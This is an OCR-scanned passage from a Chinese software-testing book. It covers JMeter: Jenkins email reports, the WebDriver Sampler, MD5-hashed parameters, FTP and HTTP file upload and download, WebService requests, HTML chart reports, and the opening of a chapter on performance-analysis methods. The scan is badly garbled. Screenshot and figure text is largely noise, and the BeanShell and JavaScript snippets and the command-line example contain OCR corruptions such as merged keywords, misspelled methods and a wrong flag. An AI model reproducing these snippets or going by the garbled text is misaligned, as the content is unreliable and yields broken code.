需要 主动 地 去 看 了 。 实 现 方式 非常 简单 ,只 需要 利用 Jenkins 中 的 Email 
Extension Plugin 揪 件 并 进行 一 些 简 单 配置 即 可 ,最 终 收 到 的 测试 报告 邮件 


效果 如 图 3. 37 所 示 。 


i -suceentul rose 


状 件 大 忆 我 <zq_test@126.com> 
收 件 大 六 我 <zq_test@l126.com> 
时 间 : 2016 年 07 月 01 日 14:57 (星期 厂 ) 


图 治 让 上 班 综合 征 的 5 种 方法 | 查看 洋 情 > > 


(本 邮件 是 程序 自动 下 发 的 ， 请 勿 回复 ! ) 


项 目 名 称 : 


构建 篇 号 : 
SVn 版 本 号 : 


构建 状态 : Successful 


触发 原因 : 三 


构建 日 志 地 址 : http-// 


构建 地 址 : http/A 


变更 集 
@ BUILD succEss 


Se 


图 3.37 测试 报告 邮件 


通过 本 轻 量 级 框架 的 分 享 ,大 家 也 应 该 体会 到 合理 应 用 第 三 方 插件 


并 将 它们 进行 适度 集成 会 给 我 们 的 工作 带 来 很 多 便利 ,不 见得 非得 从 零 
开始 做 ,很 多 时 候 解 决 方法 就 在 我 们 身边 ,只 是 我 们 从 来 不 去 注意 而 已 。 


大 话 软 件 测试 一 一 性 能 、 自 动 化 及 


突然 想起 一 段 话 :“ 世 界 上 最 遥远 的 距离 ,是 我 就 在 你 身边 ,你 却 一 直 无 


3.9 在 JMeter 中 使 用 Selenium WebDriver 
完成 测试 


首先 不 得 不 感叹 JMeter 的 日 渐 强 大 ,尤其 是 其 插件 。 之 前 我 们 讲解 过 ， 
JMeter 可 以 完成 性 能 测试 .接口 测试 ,而 这 次 它 居 然 可 以 依靠 WebDriver 来 
完成 GUI 的 功能 自动 化 测试 了 。 

下 面 就 以 打开 我 的 博客 地 址 首页 为 例 进行 讲解 ,大 致 的 实现 步 又 如 下 。 

(1) 下 载 JMeterPlugins-WebDriver-1. 3. 1. zip ,解压 之 后 把 lib 目录 下 
的 所 有 jar 文件 和 lib/ext 目录 下 的 JMeterPlugins-WebDriver. jar 文件 分 别 
复制 到 本 地 JMeter 安装 目录 下 的 lib 目录 中 和 lib/ext 目录 中 。 

(2) 进入 本 地 JMeter 安装 目录 下 的 lib 目 录 中 ,把 httpclient、httpcore、 
httpmime 三 个 jar 包 的 较 低 版 本 删除 掉 , 只 保留 较 高 版 本 的 。 

(3) 启动 JMeter, 可 以 看 到 图 3. 38 中 配置 元 件 中 新 增 了 几 个 Driver 
Config 。 
ET 
HTTP 信 息 头 管理 器 
HTTP 授 权 管 理 器 


Java 请 求 默 认 值 


回 ip@oc - Internet Explorer Driver Config 
:| | ip@ge -Lock File Config 

| | ip@gc - Remote Driver Config 

:| [ 辆 jp@gc - variables From CsV File 

持 Keystore Configuration 


[5 


图 3.38 配置 元 件 
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(4) 新 建 jp@gc-Firefox Driver Config, 配 置 如 图 3. 39 所 示 。 


jp@gc - Firefox Driver Config 
名 称 : [pe@oc- Firefox Driver Config 
注释 : 

@ Help on this plugin 


Proxy | Firefox | Experimental 


O Noproxy 

O Auto-detect proxy settings for this network 

® Use system proxy settings 

ODO Manual proxy configuration 

HTTP Proxy: Port: 


v] Use HTTP proxy server for all protocols 


SSL Proxy: Port: 
FTP Proxy: Port: 
SOCKS Proxy: Port: 
No Proxy for: 


Example: .jmeter.org, .com.au, 192.168.1.0/24 
避 Automatic proxy configuration URL 


图 3.39 jp@gc-Firefox Driver Config 
(5) 新 建 jp@gc-WebDriver Sampler, 编 写 如 下 代码 : 


// 测 试 代码 开始 ,需要 测试 的 业务 放 在 start 和 end 之 间 即 可 。 
WDS. sampleResult. sampleStart() 
try{ 
// 打 开 博 客 首页 
WDS. browser. get( 'http://xqtesting. blog. 51cto. com') 
// 测 试 代码 结束 
WDS. sampleResult. sampleEnd( ) 
}catch(x){ 
WDS. sampleResult. sampleEnd() 
// 设 置 为 结果 失败 
WDS. sampleResult. setSuccessful(false) 
// 返 回信 息 设置 为 -~_- sorry 


WDS. sampleResult. setResponseMessage('— _— sorry') 


24) 大 话 软件 测试 一 性 能 、 自 动 化 及 团队 管理 省 


(6) 新 建 查看 结果 树 和 用 表格 查看 结果 。 
(7) 运行 JMeter 脚本 ,可 以 看 到 会 自动 调用 火狐 浏览 器 并 模拟 操作 。 
最 终 运行 结果 如 图 3. 40 所 示 。 


请 求 | 响应 数据 


om.googlecode jmeter plugins webdriver sampler WebDriverSampler@6e67496d 


Sample# Start Time Thread Name Label Sample Time(m.. Status Bytes Latency 《 
1 17:12:47.785| 线 程 组 1-1 ip@gc - WebDri 12544| 可 48681| o 


图 3.40 运行 结果 


以 上 是 最 简单 的 使 用 ,算是 一 个 尝鲜 吧 , 其 中 WebDriver Sampler 中 的 
代码 编写 可 以 扩展 , 和 编写 WebDriver 一 样 ,可 以 利用 By. id 或 By. 
cssSelector 等 方法 进行 元 素 的 定位 并 操作 ,类 似 如 下 代码 : 

var pkg = JavaImporter(org. openqa. selenium) 

WDS. browser. findElement( pkg. By. id( "what') ). sendKeys([ 'xiaoqiang']) 

感 兴趣 的 朋友 可 以 到 官网 查看 详细 的 示例 代码 ,地 址 : http://jmeter- 
plugins. org/wiki/WebDriverSampler/ 。 


3.10 使 用 JMeter 完成 MDS 加 密 的 接口 请 3 


有 时 候 我 们 请 求 的 参数 可 能 需要 加 密 , 比 如 登录 接口 中 的 密码 可 能 需 
要 经 过 md5 加 密 , 这 时 候 该 怎么 处 理 呢 ? 其 实 JMeter 早 就 给 我 们 准备 好 了 
解决 方案 ,下 面 介 绍 两 种 解决 方案 。 

第 一 种 方法 : 

这 种 方法 比较 简单 ,JMeter 内 置 了 一 个 MD5 的 函数 ,可 以 直接 使 用 。 
其 中 参数 username 是 用 户 名 ,正常 填写 ,password 是 密码 经 过 MD5 加 密 ， 
单 击 “ 生 成 ”按钮 之 后 会 出 现 函 数 , 后 续 我 们 在 需要 的 地 方 直接 复制 使 用 即 
可 ,如 图 3. 41 所 示 。 如 果 没 有 此 函数 ,就 安装 下 ,如 图 3. 42 所 示 。 

新 建 一 个 HTTP 请 求 , 并 填写 必要 的 信息 ,如 图 3. 43 所 示 , 主 要 注意 
password 字段 填写 的 是 ${__MD5(xiaogiang))。 

第 二 种 方法 : 

需要 有 一 定 的 编程 技术 ,利用 beanshell 完成 ,大 致 步骤 如 下 。 
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名 称 : | 
String to calculate MD5 hash Miaoqiang 
Name of variable in which to store the result(optional)| 


乒 贝 并 烙 贴 函数 字符 串 [8L_MD5iaoqiangJ) | 


图 3.41 MD5 函数 


图 3.42 Custom JMeter Functions 


名 称 : |HTTP 请 求 


注释 : 

[Basic | Advanced | 

T Web 有 B 务 器 Timeouts (milliseconds) 
服务 器 名 称 或 bp: 上 谈 D 呈 : | je | Response: | 
-HTTP 请 求 


辐 自动 页 下 向 甩 | 具 网 费 下 向 [| Use KeepAlive El] Use multipartorm-data for POST [El] Browser.compatible headers 
Parameters | BodyData | Files Upload | 


同 请 求 一 起 发 送 参数 : 


3.43 HTTP 请 求 


大 话 软 件 测试 一 一 性 能 、 自 动 化 及 


。 导出 MD5 的 算法 为 jar 包 , 可 以 找 开 发 帮忙 完成 。 
。 把 该 jar 包 拷贝 到 JMeter 的 lib/ext 文件 目录 下 。 
。 JMeter 里 新 建 beanshell sampler, 并 编写 代码 如 下 。 


// 包 名 ,不 知道 就 问 开发 
import hehe. md5. Str2MD5; 


//new 一 个 对 象 出 来 并 调用 方法 获取 加 密 后 的 返回 
String res = newStr2MD5().MD5("xiaoqiang" ) ; 
// 打 印 结果 


System. out. println(res); 


// 把 加 密 后 的 数据 保存 到 MD5 这 个 变量 里 , 供 在 JMeter 里 使 用 
vars. put("md5", res. toSstring()); 


3.11 使 用 JMeter 完成 文件 上 传 和 下 载 测 试 


经 常 被 问 到 如 何 测试 文件 的 上 传 和 下 载 ,其 实在 JMeter 里 提供 了 两 种 方 
式 , 分 别 为 利用 FTP 请 求 和 HTTP 请 求 , 大 家 可 以 根据 实际 情况 自行 选择 。 


1. FTP 请 求 


这 个 比较 简单 ,在 JMeter 的 线程 组 下 新 建 Sampler 组 件 的 FTP 请求 ， 
如 图 3. 44 所 示 。 

其 中 IP 为 你 的 FTP 服务 器 地 址 ; Remote File 为 远程 文件 地 址 ; Local 
File 为 本 地 文件 地 址 ; get 为 下 载 文件 ; put 为 上 传 文件 。 如 果 需 要 登录 
FTP 服务 器 则 在 “登录 配置 "区域 中 填写 “用 户 名 ”及 “密码 ” 栏 。 这 些 信息 填 
写 完成 后 就 可 以 运行 了 。 

2. HTTP 请 求 

首先 我 们 先 来 看 上 传 接口 如 何 操作 。 在 JMeter 的 线程 组 下 新 建 
Sampler 组 件 的 HTTP 请 求 ,如 图 3. 45 所 示 。 填 写 IP 地 址 ,方法 选择 为 
POST ,路 径 为 上 传 接口 地 址 。 切 换 到 Files Upload 标签 (3. x 以 上 版 本 才 
有 ,以 前 的 版 本 无 ) ,填写 上 传 的 文件 以 及 参数 。 这 些 填 写 完 成 之 后 就 可 以 
运行 了 。 
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Local File Contents: 


图 3.44 FTP 请 求 


[i me 


ss Po [5) we: emoow 
辐 入 时 定 交 [时 她 蛙 定 内 区] Use KeepAlive 中] Use multipertform-dats for POST 加] Browser compatible hesders 
Parameters | Body Data | FiesUpload | 
文件 名 称 : 


基数 名 称 : 


图 3.45 HTTP 请 求 上 传 


有 了 上 传 文件 接口 的 测试 经 验 , 下 载 文件 就 容易 多 了 , 照 猫 画 虎 即 可 完 
成 ,如 图 3.46 和 图 3.47 所 示 。 


] 服务 器 名 称 或 Pp: |nzr2ybsda qnsslcom 


nk: ker [| We: | maoespassaFreameopwuseopHhErqsvcntponmaoeuoozsmpmumbnaltsoresowsEmieracwuomatipeg 


回 8 十 之 调 。 四 | 轨 基 时 过” 轩 ] Use KeepAllve DUse mso oats to POST 回 Browser-compatible hasders 


局 请 求 一 起 发 送 参 数 : 


图 3.46 HTTP 请 求 下 载 


性 能 、 自 动 化 及 团队 管理 “7 


(7) 大 话 软件 测试 


图 3.47 HTTP 请求 下 载 结果 


这 里 还 可 以 继续 扩展 一 下 ,就 是 把 下 载 的 文件 保存 到 本 地 。 又 要 用 到 
beanshell 了 (不 会 点 代码 有 多 坦 粹 你 体会 到 了 吧 )。 


import java. io. *; 


// 获 取 上 个 请 求 的 返回 数据 

byte[ ] result = prev.getResponseData(); 

// 要 下 载 到 什么 地 方 

Stringfile name = "D:\\xiaoqiang\\testingbang. jpg"; 
File file = newFile(file name); 

FileOutputStream out = new FileOutputStream(file); 
out. write(result) ; 


out. close( ); 


3.12 巧妙 地 完成 WebService 接口 测试 


在 JMeter 2.X 版 本 中 想 完 成 WebService 接口 的 测试 需要 借助 插件 
SOAP/XMIL-RPC Request, 这 个 插件 名 字 不 仅 长 而 且 理解 起 来 也 费劲 ,如 果 
能 用 最 常用 的 HTTP 请 求 来 完成 该 多 好 啊 。 恭 喜 你 ,愿望 成 真 ,在 JMeter 3. 3 
中 实现 了 这 个 功能 。 我 们 以 查看 QQ 是 否 在 线 WebService 接口 为 例 进行 讲 
解 ,该 接口 的 详情 请 见 5. 2 节 内 容 。 

大 致 实现 步骤 如 下 : 

。 在 线程 组 下 新 建 HTTP 信息 头 管理 器 并 填写 内 容 , 如 图 3. 48 所 示 。 

Content-Type 告诉 请 求 是 XML 格式 ,SOAPAction 如 果 有 就 填写 。 
。 新 建 HTTP 请 求 , 如 图 3. 49 所 示 。 这 里 内 容 的 填写 没有 什么 特殊 
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HTTP 信 息 天 管理 器 
名 称 : |HTTP 信 息 头 管 理 器 
信息 头 存 闭 在 信息 头 管理 器 中 
名 称 : 
|ContentType |textxml: charset=utF8 
SOAPAction [httpWWebXmlLcom.cmqqCheckOnline” 


图 3.48 HTTP 信息 头 管理 器 


的 ,只 需要 填写 好 正确 的 IP、 接 口 地 址 ,方法 一 般 都 选 POST。 之 后 
切换 到 Body Data 并 填写 请 求 数据 即 可 。 


TTP 请 求 
:|HTTP 请 求 完成 webseviceR 式 
注释 : 百度 扫 索 : 小 强 开 品牌 | 


Basic | Advanced 
“WebllE 务 器 

协议 : 服务 器 名 称 或 ip: [www webxml com cn ] 避 
THTTP 请 求 


si me 


Danaem mee ) Use KespAlve ”器 ] Use muliperviom cate fr PosT 加] erowercompetiole nescen 
| Parameters | Body Data | Fies Upload 
1 chml version= “1.9”encoding=rutf-8 77 


websemvices/aqOnlineWebSevice asmx?op=qqCheckOnline 


2 <soap:Envelope xmlns:xsi="http://www.w3.org/2061/MLSchema-instance” xmlns:xsd="http:/ /ww.w3.orB/2901/XMLSchema” xmlns:soap= 
“http://schemas.xnlsoap.org/soap/envelope/™> 
3 <soap:Body> 
4 《qqCheckonline yxmlns="http://Webxml. com. cn/*> 
5 <qqCode>2883583238¢/qqCode> 
6 </qqcheckonline> 
</soap: Body> 
日 </soap:Envelope> 


图 3.49 HTTP 请 求 


。 在 HTTP 请 求 下 新 建 XPath Assertion, 用 来 判断 结果 是 否 正确 ,如 
图 3. 50 所 示 。 其 中 qqCheckOnlineResult 就 是 返回 结果 中 的 标签 
通过 text() 方 法 获取 其 值 , 看 是 否 为 了 ,如果 是 则 说 明成 功 。 


XPath Assertion 
名 称 : 


注释 : 百度 搜索 : 小 强 开 品 性 | 
Apply to: 


XPath Assertion 


O Main sample and sub-samples ® Main sample only O Sub-samples only O JMeter Variable 
-XML Parsing Options 


回 Use Tidy (tolerant parser) 回 Quiet 


Report erro! 


口 use Namespaces [|] Validate XML [| ignore Whitespad 


FXPath Assertion 


1 //qqcheckOnlineResult[text()="Y"] 


图 3.50 XPath Assertion 


团队 管理 


?- 固 soap-Envelope 


BB xminsxsd = "httpJwww.w3.org/2001/XMLSchema” 
DY xminsxsi = “httpwww.w3.0rg/2001/XMLSchema-instance”™ 
后 xmins:soap = ttpJschemas xmlsoap.orglsoaplenveloper 
9- 固 soap:Body 
9- 国 qqCheckOnlineResponse 
DY xmins = “http/WebXml.com.cnr" 
9? 国 qqCheckOnlineResult 


3.13 JMeter 也 有 让 你 心动 的 图 表 报 告 


JMeter 在 我 们 眼 里 一 直 是 呆板 的 代表 ,只 有 冰冷 冷 的 数据 ,缺乏 暖 呼 呼 
的 图 表 , 但 JMeter 3. 3 就 完全 丰 覆 我 们 的 印象 , 先 来 欣赏 一 下 ,如 图 3. 52 


所 示 。 


有 没有 心动 ? 接 下 来 我 们 看 看 怎么 实现 。 大 致 步骤 如 下 。 
。 修改 jmeter. properties 配置 ,去掉 如 下 参数 的 注释 。 


jmeter. 
jmeter. 
jmeter. 
jmeter. 
jmeter. 
jmeter. 
jmeter. 
jmeter. 
jmeter. 
jmeter. 
jmeter. 
jmeter. 
jmeter. 
jmeter. 
jmeter. 


Save. 
Save. 
Save. 
Save. 
Save. 
Save. 
Save. 
Save. 
Save. 
Save. 
Save. 
Save. 
Save. 
Save. 
Save. 


Saveservice. 
saveservice. 
saveservice. 
saveservice. 
saveservice. 
saveservice. 
saveservice. 
saveservice. 
Saveservice. 
Saveservice. 
Saveservice. 
Saveservice. 
Saveservice. 
Saveservice. 


Saveservice. 


bytes = true 

label = true 

latency = true 

response_code = true 

response message = true 

successful = true 

thread counts = true 

thread name = true 

time = true 

connect time = true 

timestamp format = ms 

timestamp format = yyyy/MM/dd HH:mm:ss 
print field names = true. 
assertion results failure message = true 
output format = csv 


。 通过 命令 方式 执行 脚本 ,命令 格式 为 : jmeter -n -t 脚本 .jmx -1 记录 . 


jtl -e -o . /report。 


‘C2 第 3 章 JMeter 脚本 开发 实战 精 要 (8 六 


图 3.52 图 表 报 告 


。 运行 之 后 在 指定 的 文件 report 中 双击 index. html 就 可 以 看 到 报告 了 。 

。 默认 看 到 的 是 英文 的 报告 ,如 果 大 家 想 汉 化 可 以 修改 JMeter 目录 下 
bin\\report-template 下 的 所 有 后 级 为 . fmkr 的 文件 。 这 里 特别 注 
意 : 修改 之 后 保存 要 保存 为 ANSI 格式 的 ,否则 会 有 乱码 。 


3.14 本章 小 结 


本 章 和 大 家 分 享 了 JMeter 在 业务 级 、 接 口 级 性 能 测试 中 的 应 用 。 同 时 ， 
也 对 如 何 完 成 JDBC、JMS Point-to-Point 以 及 BeanShell 的 脚本 开发 进行 了 
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讲解 ,并 对 常见 问题 进行 了 穿插 回答 ,最 后 基于 JMeter 打造 了 一 款 轻 量 级 接 
口 自动 化 测试 框架 ,总 体 来 说 基本 可 以 应 用 到 企业 中 。 当 然 ,这 些 还 只 是 冰 
山 一 角 。JMeter 的 扩展 能 力 还 有 很 多 ,大 家 可 以 到 官网 查看 更 多 的 应 用 方 
法 ,地 址 : https://jmeter. apache. org/usermanual/index. html。 


届 
人 
贡 


性 能 测试 通用 分 析 思 路 和 报告 编写 技巧 


性 能 测试 的 分 析 以 及 报告 的 编写 是 大 家 最 为 头疼 的 两 大 难题 。 必 须 承 
认 它 们 确实 很 难 , 因 为 需要 庞大 的 知识 体系 做 支撑 ,涉及 的 知识 层级 太 多 ; 
然而 ,我 也 必须 承认 它们 没 那么 难 , 当 你 有 足够 知识 和 经 验 作为 支撑 时 ,很 
多 事情 就 变 得 顺 其 自然 了 ,而 这 个 过 程 需要 我 们 的 努力 和 坚持 。 

本 章 的 性 能 测试 通用 分 析 思 路 和 报告 编写 技巧 与 工具 无 关 , 它 们 可 以 
为 大 家 在 以 后 的 分 析 中 提供 一 定 的 思路 和 方法 ,虽然 不 是 万 能 的 ,但 却 可 以 
指导 我 们 的 思路 ,逐步 找到 突破 点 进而 深入 分 析 , 这 一 点 是 十 分 重要 的 。 


4.1 通用 分 析 思 路 


当 性 能 测试 结束 之 后 , 面 对 的 一 个 令 人 头疼 的 问题 就 是 结果 分 析 , 这 也 
是 几乎 所 有 小 白 朋 友 特 别 害 伯 和 和 恐 惧 的 。 客 观点 说 ,性 能 测试 的 分 析 确实 
是 一 个 耗费 脑力 和 体力 的 事情 ,需要 有 足够 的 耐心 .细心 ` 知 识 a 绝对 不 是 
大 家 理解 的 “会 使 用 LoadRunner、JMeter 就 是 会 做 性 能 测试 ”, 这 只 能 算是 
入 门 而 已 。 

要 想 分 析 , 你 必须 有 足够 广 的 知识 面 做 支撑 ,从 前 端 到 后 端 ,从 Web 服 
务 到 数据 库 ,从 业务 到 架构 ,几乎 必须 全 部 了 解 才 行 。 所 以 ,培养 自己 的 分 
析 能 力 绝对 不 是 一 朝 一 夕 可 以 完成 的 ,也 绝 不 是 看 一 本 书 就 可 以 学 会 的 ,这 
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需要 项 目 积累 和 经 验 沉 淀 。 这 里 我 给 出 一 个 通用 的 分 析 思 路 , 仅 供 大 家 参 
考 , 一 图 胜 千 言 , 请 看 图 4. 1。 
这 张 图 表达 得 比较 抽象 ,可 能 大 家 一 下 看 不 


A _ 观察 现象 
明白 , 接 下 来 我 们 就 把 每 个 步骤 细 化 ,看 看 每 个 
步骤 需要 关注 什么 。 
4.1.1 观察 现象 缩小 范围 
了 
对 于 现象 观察 的 准确 度 会 直接 影响 后 续 的 推理 分 析 
分 析 , 也 许 你 在 现实 中 有 这 样 的 感觉 , 当 别人 问 
你 一 个 问题 的 时 候 , 他 总 是 描述 不 清楚 现象 甚至 不 断 验证 
描述 错误 ,导致 你 没 办 法 帮 他 解决 。 性 能 测试 中 于 
也 是 一 样 ,只 有 把 现象 抓 准 了 才能 事半功倍 。 EE 


在 性 能 测试 中 一 般 通过 监控 系统 .Log 日志 ”图 4.1 通用 分 析 思路 
或 者 命令 进行 现象 的 监控 。 这 里 的 现象 主要 是 
指 页面 的 表现 .服务 器 的 资源 表现 .各 类 中 间 件 的 健康 度 、.Log 日 志 、 各 类 软 
件 的 参数 .各 类 数据 库 的 健康 度 等 。 

互联 网 公司 中 一 般 常用 的 监控 方式 有 如 下 几 种 。 

。 综合 监控 系统 ,比如 ,Zabbix、Nagios、Open-falcon 等 。 
专项 监控 系统 ,比如 ,专门 监控 数据 库 的 MySQLMTOP、 Spotlight 
等 。 图 4. 2 所 示 为 各 类 数据 库 的 监控 系统 ,其 中 深 色 小 圆圈 代表 达 
到 了 一 定 的 阔 值 给 予 报警 ,而 浅 色 的 小 圆圈 则 表示 比较 正常 。 另 外 ， 
从 图 中 我 们 除了 能 够 直观 地 监控 数据 库 的 连接 数 、 进 程 数 .延迟 等 ， 
还 可 以 监控 到 操作 系统 在 CPU、 内 存 、IO 以 及 负载 方面 的 数据 ,对 于 
判断 当前 数据 库 的 压力 有 重要 的 指导 作用 。 


天 主机 角色 标 葵 版 本 连接 会 话 进程 苯 待 同步 延 时 表 空间 使 用 SNMP 进程 数 全 区 CPU 内 存 网 络 诞 灸 图 表 
S ©e------ ee e039 999 图 
egg -= 一 = = -=--=-=-= =- 国 
eeagaag- -一 -= ~- -~--- -图 
aagag- -一 一 一 一 一 一 一 
mm ee------ -= - ----- 辆 
CD e000--- ee e909。ee。 辆 


图 4.2 数据 库 监控 系统 


第 4 章 ”性 能 测试 通用 分 析 思 路 和 报告 编写 技巧 


命令 监控 ,比如 ,Linux 命令 、Shell 脚本 等 。 
软件 自 带 的 console 监控 台 。 


。 自主 研发 监控 系统 。 
。 云 监控 平台 ,比如 , 听 云 APM、OneAPM 等 。 图 4.3 所 示 为 JVM 的 


图 4.3 JVM 监控 数据 


每 种 监控 方式 都 有 自己 的 优点 ,在 选用 的 时 候 做 一 个 选 型 对 比 就 能 比 
较 清 楚 地 知道 哪 种 方式 更 适合 自己 。 另 外 ,监控 方式 虽然 很 多 ,但 需要 关注 
的 重点 指标 并 不 多 。 所 以 ,把 握 好 重点 指标 的 监控 和 分 析 可 以 提升 我 们 分 
析 问 题 的 效率 。 

一 般 情况 下 有 一 些 公共 指标 是 我 们 需要 关注 的 ,比如 ,响应 时 间 、TPS、 
QPS 成 功率 .CPU .Memory IO .连接 数 、 进 程 /线程 数 .缓存 命中 率 .流量 等 。 

除了 公共 指标 外 ,还 有 一 些 针对 具体 系统 软件 需要 进行 监控 的 指标 。 
比如 ,JVM 中 各 内 存 代 的 回收 情况 以 及 GC 情况 ,PHP-FPM 中 的 max 


各 
active processes \slow requests 等 。 


4.1.2 层 层 递 进 


对 于 小 白 朋 友和 一 些 缺 乏 经 验 的 朋友 而 言 , 性 能 测试 分 析 的 突破 口 非 
常 重要 ,如 果 找 不 到 突破 口 或 者 说 没有 思路 就 会 寸步 难 行 ! 面 对 这 样 的 局 
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面 我 们 怎么 破解 呢 ? 

我 个 人 的 经 验 是 : 层 层 递 进 , 即 一 层 层 地 分 析 排 除 。 就 跟 我 们 小 时 候 做 
题 用 的 排除 法 一 个 道理 。 所 以 ,以 后 大 家 如 果 没 有 思路 时 不 妨 试 试 我 说 的 
这 种 方法 ,其 实 你 只 要 按照 系统 的 层级 一 层 层 地 去 排除 分 析 , 总 会 找到 是 哪 
个 层级 的 问题 ,然后 再 细 化 即 可 ,这 也 是 我 一 直 给 学 员 推崇 的 “分 层 思想 ”。 

举 个 例子 ,假设 在 一 次 性 能 测试 中 发 现 某 个 查询 业务 的 性 能 表现 不 佳 ， 
响应 时 间 较 长 ,这 对 于 小 白 朋 友 来 说 可 能 较 难 分 析 , 这 时 候 大 家 可 以 尝试 用 
“分 层 思想 ?来 做 排除 ,从 应 用 服务 器 一 层 开始 , 逐 层 排查 ,那么 最 终 会 分 析 
到 数据 库 层 。 我 们 知道 ,查询 会 涉及 SQL 语句 ,如 果 SQL 语句 的 性 能 不 好 
就 会 导致 IO 飙升 ,内存 消耗 增 大 等 现象 ,这 个 时 候 利 用 慢 查询 等 方法 去 排 
除 SQL 语句 即 可 。 

再 比如 ,PHP-CGI 热点 CPU 问题 ,进程 所 占 CPU 资源 太 高 ,我们 可 以 
通过 找到 proc 下 的 进程 文件 来 做 分 析 等 。 

可 见 , 万 事 开 头 难 , 但 都 有 章法 所 寻 , 只 要 你 的 思路 够 清楚 ,总 会 找到 分 
析 点 的 。 


4.1.3 缩小 范围 


经 过 层 层 递 进 之 后 ,排除 和 分 析 的 范围 自然 而 然 也 就 缩小 了 。 不 过 ,还 
是 有 很 多 朋友 即使 在 一 个 很 小 的 范围 内 也 不 知道 怎么 去 分 析 。 我 个 人 觉得 
主要 原因 有 三 点 。 

。 知识 体系 不 完善 。 之 前 已 经 强调 过 性 能 测试 需要 庞大 的 知识 体系 做 
支撑 ,而 很 多 朋友 连 Linux、MySQL 等 基本 的 操作 都 不 会 (这 个 真是 
让 人 特别 头疼 )。 

不 习惯 总 结 。 任 何 知识 如 果 你 只 学 习 而 不 总 结 , 最 后 都 是 没有 用 的 。 

总 结 可 以 帮助 我 们 梳理 知识 点 ,整理 思路 ,分 出 主要 和 次 要 的 知识 ， 

好 处 非常 多 。 其 实 大 家 如 果 平 时 多 注意 点 会 发 现 很 多 优秀 的 测试 工 

程 师 和 管理 者 都 非常 善于 总 结 。 图 4.4 所 示 就 是 我 很 早 以 前 的 一 些 

。 太 急 躁 。 永 远 不 要 奢望 一 口吃 成 一 个 胖子 ,学 习 任 何事 都 需要 一 个 
过 程 ,在 这 个 过 程 中 你 要 谦虚 .耐心 , 切 勿 浮躁。 很 多 知识 是 需要 经 
验 的 沉淀 才能 理解 的 ,就 好 像 你 觉得 1 十 1==2 很 简单 ,但 对 于 一 个 刚 
刚 出 生 的 小 宝宝 ,这 是 一 个 天 大 的 难题 啊 。 
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应 用 代码 | 


应 用 层 优化 le 


| 架构 优化 递 进 ( 偏 物理 层 ) |6 


网 络 层 @ 


“应 用 服务 器 


‘im A ~ 


到 据 库 服务 器 1 


® 


图 4.4 分 析 调 优 总 结 


这 里 简单 做 个 总 结 ,在 一 定 的 范围 内 ,分 析 的 点 基本 都 是 固定 的 。 以 
Tomcat 相关 容器 为 例 , 包 括 但 不 限于 以 下 需要 分 析 的 点 。 
Tomcat 本 身 参 数 的 配置 比如 ,运行 模式 .MaxThreads 等 参数 。 
Tomcat 部 署 方式 : 单 点 或 集群 负载 。 
服务 器 : Tomcat 部 署 所 在 的 服务 器 是 否 存在 瓶颈 ,比如 ,内 存 太 
小 等 。 
JVM: 各 个 内 存 代 的 分 配 .GC 垃圾 回收 机 制 等 。 
代码 : 不 合理 的 逻辑 代码 或 未 被 释放 的 对 象 引 用 等 。 

以 上 只 是 一 个 简单 的 举例 ,主要 是 想 告 诉 大 家 ,只 有 不 断 地 总 结 和 提炼 
才能 “胸有成竹 ”, 面 对 分 析 的 时 候 才 能 “ 游 丸 有 余 ”。 


4.1.4 推理 分 析 


根据 现象 和 经 验 来 推理 分 析 , 需 秉 承 大 胆 猜测 .小心 求证 的 原则 。 当 没 
有 突破 口 的 时 候 , 一 定 要 大 胆 猜 测 ,不然 你 就 会 陷入 “空白 ”的 思考 状态 。 大 
家 想 想 那 些 侦探 推理 小 说 的 剧情 ,里 面 有 很 多 都 是 大 胆 猜测 的 结果 ,有 时 候 
我 们 即使 看 电视 剧 也 可 以 学 到 不 少 东 西 呢 , 不 要 只 关注 帅哥 和 美女 嘛 。 

举 个 例子 ,如 果 你 在 日 志 中 看 到 了 这 样 的 提示 “org. apache. tomcat. 
util. threads. ThreadPool logFull SEVERE: All threads (250) are currently 
busy, waiting. Increase maxThreads (250) or check the servlet status” ,你 


会 怎么 去 分 析 呢 ?这 个 问题 就 留 给 大 家 去 思考 吧 。 
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4.1.5 不 断 验 证 


一 般 如 果 我 们 没有 足够 的 经 验 , 可 能 在 分 析 的 时 候 很 难 * 一 针 见 血 ”, 耐 
心地 不 断 验证 是 我 们 的 唯一 方法 。 再 次 回想 下 (名 侦探 柯南 》 等 影视 剧 , 你 
会 发 现 书 中 的 人 物 很 多 时 候 推 断 出 来 的 结果 也 是 错误 的 ,只 有 经 过 不 断 的 
验证 才能 最 终 找到 真相 ! 你 看 的 时 候 感 觉 很 过 瘾 ,但 自己 在 性 能 测试 分 析 
的 实践 中 却 不 耐烦 ,这 怎么 能 行 呢 。 

再 举 个 例子 ,如 果 你 在 日 志 中 看 到 了 这 样 的 提示 “Lpool wwwj] seems 
busy (you may need to increase pm. start_servers, or pm. min/max_spare_ 
servers), spawning 8 children, there are 0 idle, and 71 total children”, 你 
会 怎么 去 验证 呢 ? 可 能 有 的 朋友 会 说 日 志 里 已 经 给 出 了 提示 ,需要 增加 
“pm. start_servers，or pm. min/max_spare_servers” 的 值 ,但 真相 是 这 样 吗 ? 
增加 这 些 值 真 可 以 从 根本 上 解决 问题 吗 ? 这 些 都 是 需要 大 家 不 断 去 验证 的 。 


4.1.6 确定 结论 


恭喜 你 ,经 历 “ 九 九 八 十 一 难 ” 后 可 以 得 出 最 终结 论 了 。 是 不 是 会 有 点 
小 激动 呢 ? 遇 到 困难 不 要 害怕 ,掌握 方法 ,多 练习 和 总 结 , 随 着 经 验 的 积累 
一 定 会 “水 到 渠 成 *, 此 时 你 可 以 体会 性 能 测试 带 给 你 的 “快感 "了 ! 

到 这 里 你 应 该 大 概 明白 了 分 析 的 过 程 ,这 是 一 个 充满 挑战 但 又 虐 心 的 
过 程 , 不 仅仅 需要 耐心 ,还 需要 有 足够 广 的 知识 面 。 

为 了 更 立体 地 展现 分 析 思 路 ,下 面 我 们 以 一 个 典型 的 架构 模型 结构 化 
地 说 说 怎么 去 分 析 , 让 大 家 有 更 直观 的 认识 ,如 图 4.5 所 示 。 


本 Web DB 
Client “| 十 一 一 | Sarver Se 
| OS 
| 代码 


图 4.5 典型 的 架构 模型 


从 图 4.5 可 以 看 出 ,任何 复杂 的 系统 都 可 以 抽象 为 基本 的 架构 ,分 析 的 
时 候 我 们 可 以 从 前 往 后 或 者 从 后 往 前 一 层 层 进行 分 析 与 排除 。 
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(1) Client 层 。 一 般 是 指 我 们 的 前 端 ,前 端的 性 能 测试 会 在 后 续 的 章节 
中 详细 讲解 ,所 以 这 里 不 作 讲 述 。 

